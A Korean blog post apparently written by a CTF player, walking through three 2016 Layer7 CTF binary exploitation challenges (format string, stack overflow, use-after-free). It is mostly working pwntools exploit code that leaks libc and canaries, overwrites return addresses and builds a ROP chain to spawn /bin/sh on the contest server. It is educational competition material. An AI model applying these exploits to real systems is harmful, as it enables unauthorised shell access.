튜기's blogggg

2016 layer7 ctf easy_(bof, fsb, uaf)

by St1tch

이거 대회끝난지 한 2주됬는데 갑자기 생각나서 올린다.

다른팀원들이 미리 풀어논게 있어서 1등이였는데 새벽에 다른팀들이 올라왔다.

나는 대회를 밤늦게 시작해서 팀원들이 풀지 않은 easy 3종 셋트를 풀었다.

2등이라도 유지해서 다행이였다.






easy_fsb를 처음에 풀었는데 libc가 주어진질 모르고 조금씩조금씩 libc를 긁어서 모으고 있었다.

그러다가 공지사항을 보니 낮에 libc를 올려놨었다.......

그래서 바로 다시 오프셋을 적어서 풀었다.

그냥 전형적인 fsb문제였다.


from pwn import *
import stitch

s = remote('prob.layer7.kr', 10002)

p = log.progress('Exploiting!')
if __name__ == '__main__' :
    for i in range(5) :
        s.sendline('%p')
        s.recvuntil('\n')
        p.status(str(i+1))
        sleep(0.1)

    p.status('libc leak')
    pay = '%75$p'
    s.sendline(pay)
    main_ret = s.recvuntil('\n').strip()[3:]
    offset = int(main_ret, 16) - 0x18637
    system = offset + 0x3a920
    binsh = offset + 0x15909f

    p.status('stack addr leak')
    pay = '%73$p'
    s.sendline(pay)
    stack = s.recvuntil('\n').strip()
    ret_addr = int(stack, 16) - 20

    p.status('overwrite ecx')
    sleep(1)
    pay = stitch.fsb(7, {ret_addr-8 : ret_addr+4}, 0)
    s.sendline(pay)

    p.status('overwrite sysetm')
    sleep(1)
    pay = stitch.fsb(7, {ret_addr : system}, 0)
    s.sendline(pay)

    p.status('overwrite binsh')
    sleep(1)
    pay = stitch.fsb(7, {ret_addr+8 : binsh}, 0)
    s.sendline(pay)

    s.interactive()





easy_bof는 fsb취약점을 통해 canary랑 main_ret를 알아낸 후 바로 main함수가 종료가 된 후, system('/bin/sh')가 실행되도록 했다.

다만 64bit라서 pop rdi가젯만 추가하였다.



from pwn import *

local = False
if local :
    s = remote('localhost', 9980)
    raw_input()
else :
    s = remote('prob.layer7.kr', 10003)

def main() :
    sleep(1)
    s.sendline('-1')

    sleep(1)
    pay = '%43$p,%45$p'
    s.sendline(pay)
    canary, main_ret = s.recv(1048).split(',')
    offset = int(main_ret, 16) - 0x20830
    system = offset + 0x45380
    binsh = offset + 0x18c58b
    poprdi = offset + 0x21102

    pay  = 'A' * 264
    pay += p64(int(canary, 16))
    pay += 'A' * 8
    pay += p64(poprdi)
    pay += p64(binsh)
    pay += p64(system)

    sleep(1)
    s.sendline(pay)

    sleep(1)
    s.interactive()

if __name__ == '__main__' :
    main()


이건 스샷찍어논게없네




easy_uaf문제는 문제를 만든사람의 의도인지는 모르겠는데 실행이 되지않았다.

근데 uaf라는 것을 알고있기 때문에 ida에서 대충 취약점을 보니 flag가 저장되있는 앞부분의 문자열주소를 한번 free해주면 다시 write를 할 수 있다.

이 때 flag앞까지 0x00이 없게 채워주게 되면 read했을 때 flag까지 같이 읽어 지게된다.

디버깅이 안되서 그냥 ida만 보고 문제를 풀었다.



from pwn import *

s = remote('prob.layer7.kr', 10007)

if __name__ == '__main__':
    p = log.progress('Exploiting!')

    p.status('free heap')
    s.recvuntil('>')
    s.sendline('3')
    s.recvuntil('>')
    s.sendline('2')

    p.status('use heap')
    s.recvuntil('>')
    s.sendline('2')
    s.recvuntil('>')
    s.sendline('2')
    sleep(1)
    s.sendline('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')

    p.status('read flag')
    s.recvuntil('>')
    s.sendline('4')
    s.recvuntil('>')
    s.sendline('2')

    s.interactive()


블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기